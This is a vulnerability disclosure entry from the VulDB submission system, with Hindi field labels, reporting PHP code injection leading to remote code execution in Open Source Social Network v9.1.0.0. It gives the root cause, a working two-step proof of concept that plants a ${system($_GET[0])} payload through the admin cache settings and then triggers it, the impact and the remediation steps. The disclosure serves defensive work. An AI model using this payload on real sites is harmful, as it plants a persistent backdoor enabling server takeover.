| शीर्षक | opensource-socialnetwork Open Source Social Network (OSSN) v9.1.0.0 (master branch, commit 9983ea4) CWE-94 Remote Code Execution (RCE) |
|---|
| विवरण | Open Source Social Network (OSSN) PHP Code Injection Remote Code Execution (v9.1.0)
Vendor: opensource-socialnetwork
Product: Open Source Social Network (OSSN)
Affected version: v9.1.0.0 (master branch, commit 9983ea4)
Affected endpoints: POST /action/admin/dynamic/cache (parameter: host, port, username, password, type, status)
1. Summary
The OSSN admin action 'admin/dynamic/cache' writes administrator-supplied cache settings into the PHP config file 'configurations/ossn.config.dcache.php' by concatenating them verbatim into a double-quoted PHP string template. The input filters only escape quotes, backslash, NUL and newlines, so a quote-free ${...} interpolation payload survives intact. Because 'system/start.php' includes the config file at bootstrap on every request, the stored expression executes continuously. An unauthenticated visitor triggering /index.php?0=<command> is enough to run attacker-chosen OS commands, and the backdoor persists until an administrator rewrites the settings.
2. Root Cause
- actions/administrator/cache/dynamic.php:11-17: Six settings read via input()
- libraries/ossn.lib.input.php:88: input() applies htmlspecialchars(ENT_QUOTES), leaving $ { } ( ) [ ] _ untouched
- libraries/ossn.lib.input.php:19: ossn_input_escape() only escapes quotes, backslash, NUL, newlines
- actions/administrator/cache/dynamic.php:77-97: Config template interpolates values into a double-quoted string and writes to 'ossn.config.dcache.php'
- system/start.php:34: include_once('ossn.config.dcache.php') at bootstrap executes on every request
3. Prerequisites
- A logged-in site administrator session with valid action tokens (ossn_ts/ossn_token).
- No privileges needed to trigger the payload after planting: any unauthenticated page hit executes it.
4. Proof of Concept
Step 1: POST /system/handlers/actions.php?action=admin/dynamic/cache
Host: target
Cookie: PHPSESSID=<admin_session>; ossn_ts=<ts>; ossn_token=<token>
Content-Type: application/x-www-form-urlencoded
Payload: status=disabled&type=&host=${system($_GET[0])}&port=&username=&password=
Step 2: Trigger RCE
GET /index.php?0=whoami HTTP/1.1
Host: target
Result: The command 'whoami' executes on the server, demonstrating full RCE.
5. Impact
One administrator-session settings save becomes a durable webserver-level backdoor. The stored code runs on every page view for every visitor, executes arbitrary OS commands from unauthenticated requests, and lives in a configuration file (survives PHP process restarts). Full loss of confidentiality, integrity and availability of the application host.
6. Remediation
- Build the config with var_export() of cast/validated values, or store settings as JSON (json_encode) - never concatenate request data into PHP source.
- Whitelist-validate 'host' and cast 'port' to int before persisting.
- Refuse to write values containing PHP-significant sequences ($, `, ${).
- Keep the per-session action-token check in place. |
|---|
| स्रोत | ⚠️ https://gist.github.com/qianqiusujiu/c0452f09e91de23f002a384038325104 |
|---|
| उपयोगकर्ता | qianqiu (UID 71960) |
|---|
| सबमिशन | 01/10/2026 02:50 PM (19 दिन पहले) |
|---|
| संयम | 20/10/2026 07:29 AM (19 days later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 422662 [opensource-socialnetwork तक 9.11/10.1 Cache Settings dynamic.php input host/port/username/password/type/status अधिकार वृद्धि] |
|---|
| अंक | 20 |
|---|